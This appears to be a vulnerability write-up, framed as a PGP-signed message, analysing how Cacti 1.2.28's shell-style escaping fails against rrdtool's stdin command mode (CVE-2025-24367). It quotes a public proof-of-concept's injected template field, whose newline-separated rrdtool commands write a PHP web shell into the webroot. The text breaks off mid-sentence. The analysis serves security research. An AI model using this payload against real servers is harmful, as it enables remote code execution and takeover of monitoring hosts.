-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The function escapes for an interpreter that is not in the call path\n\nIn Cacti 1.2.28, `cacti_escapeshellarg` is one function that does one thing on Unix. It calls PHP's `escapeshellarg` and returns the wrapped result.\n\n```php\nfunction cacti_escapeshellarg($string, $quote = true) {\n global $config;\n\n if ($string == '') {\n return $string;\n }\n\n /* we must use an apostrophe to escape community names under Unix in case the user uses\n characters that the shell might interpret. the ucd-snmp binaries on Windows flip out when\n you do this, but are perfectly happy with a quotation mark. */\n if ($config['cacti_server_os'] == 'unix') {\n $string = escapeshellarg($string);\n if ($quote) {\n return $string;\n } else {\n return substr($string, 1, (strlen($string)-2));\n }\n }\n // ... windows branch follows\n}\n```\n\nPHP's `escapeshellarg` wraps a string in single quotes and replaces any internal apostrophe with `'\\''`. That is the correct, complete behavior for the POSIX shell. A shell receiving `'foobar'` sees one argument whose contents include a literal newline. Word splitting happens on whitespace before quoting is resolved; the shell does not split on newlines inside an open quote. The function is doing exactly what its name advertises.\n\nThe advertisement is the bug.\n\n## The sink is rrdtool's remote-mode REPL, reached over a pipe\n\n`lib/rrd.php:321` opens rrdtool once per render and feeds it commands across the lifetime of the request.\n\n```php\n$process = proc_open(read_config_option('path_rrdtool') . ' - ' . $debug, $descriptorspec, $pipes);\n\nif (!is_resource($process)) {\n unset($process);\n} else {\n fwrite($pipes[0], escape_command($command_line) . \"\\r\\nquit\\r\\n\");\n fclose($pipes[0]);\n $fp = $pipes[1];\n}\n```\n\n`rrdtool -` is rrdtool's documented remote control mode. The binary reads commands from stdin, executes each, prints the result on stdout, then loops. The shell that invoked rrdtool exited as soon as `proc_open` set up the pipe; from the moment that pipe is live the receiver of every byte Cacti writes is rrdtool's own line parser, not `/bin/sh`.\n\nThe function whose name advertises that destination is `escape_command`. In 1.2.28 it is a no-op.\n\n```php\nfunction escape_command($command) {\n return $command; # we escape every single argument now, no need for 'special' escaping\n #return preg_replace(\"/(\\\\\\$|`)/\", \"\", $command); # current cacti code\n #TODO return preg_replace((\\\\\\$(?=\\w+|\\*|\\@|\\#|\\?|\\-|\\\\\\$|\\!|\\_|[0-9]|\\(.*\\))|`(?=.*(?=`)))\",\"$2\", $command); #suggested by ldevantier to allow for a single $\n}\n```\n\nThe body is a one-line passthrough. The commented-out lines beside it are the previous, command-level escaping that has been removed in favor of per-argument escaping. The inline comment is the developer's audit conclusion in plain English: every argument is individually shell-escaped through `cacti_escapeshellarg`, so the command-level layer is redundant. Both halves of that conclusion are correct for a shell sink. Neither half is correct for the sink that is actually present.\n\n## The exploit lives in the newline that rrdtool reads and the shell would have absorbed\n\nThe PoC ([dantedansh/CVE-2025-24367-Cacti-Exploit](https://github.com/dantedansh/CVE-2025-24367-Cacti-Exploit)) authenticates, fetches the CSRF magic value, looks up the id of the \"Unix - Logged in Users\" graph template, and posts the following field into `graph_templates.php?action=template_edit&id=...`:\n\n```python\n\"right_axis_label\": \"DanNulty\\ncreate my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200\\ngraph danshell.php -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:\\n\"\n```\n\nThe newlines are literal `\\n` bytes in the POST body. They are saved into the database as part of the template row. On the next graph render, `rrdtool_function_graph` reads the field back and assembles the rrdtool command. The relevant fragment in 1.2.28's `lib/rrd.php`:\n\n```php\ncase 'right_axis_label':\n if (!empty($value)) {\n $graph_opts .= '--right-axis-label ' . cacti_escapeshellarg($value) . RRD_NL;\n }\n```\n\nWhere `RRD_NL` is the rrdtool argument separator:\n\n```php\ndefine('RRD_NL', \" \\\\\\n\");\n```\n\nA space, a backslash, a newline. rrdtool's batch parser treats backslash-newline as line continuation, the way the shell does. Lines that end on a bare newline, without that trailing backslash, are command boundaries.\n\nThe buffer Cacti writes to rrdtool's stdin looks like this once the injected field is in place:\n\n```\ngraph - \\\n--imgformat=SVG \\\n--start='1735903534' \\\n--end='1735903594' \\\n--title='Local Linux Machine - Advanced Ping' \\\n--vertical-label='milliseconds' \\\n--slope-mode \\\n--right-axis-label 'DanNulty\ncreate my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200\ngraph danshell.php -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:\n' \\\n...\n```\n\nThe single quote opened around `DanNulty` is a shell convention, faithfully produced by `escapeshellarg`. rrdtool is not a shell. Its stdin reader sees four logical commands separated by bare newlines:\n\n1. `graph - --imgformat=SVG ... --right-axis-label 'DanNulty`. A malformed graph invocation with an unbalanced apostrophe. rrdtool errors out, prints a complaint to its stdout, and reads the next line.\n2. `create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200`. A valid rrdtool `create`. The RRD database `my.rrd` is created in rrdtool's working directory. That working directory is whatever directory Cacti was running from, which on a typical install is the cacti webroot.\n3. `graph danshell.php -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:`. A valid rrdtool `graph` in CSV output mode. The output file is `danshell.php`. The `LINE1` label is ``. rrdtool's CSV output writes the label as the column header on the first row, byte-for-byte.\n4. `' \\`. An orphan apostrophe followed by a continuation backslash, then the rest of the original graph command. rrdtool ignores it.\n\nThe PHP file that lands in the webroot is the CSV output of step 3:\n\n```\n\"time\",\"\"\n1735914000,\"NaN\"\n```\n\nPHP renders that file by reading the literal CSV bytes through to the `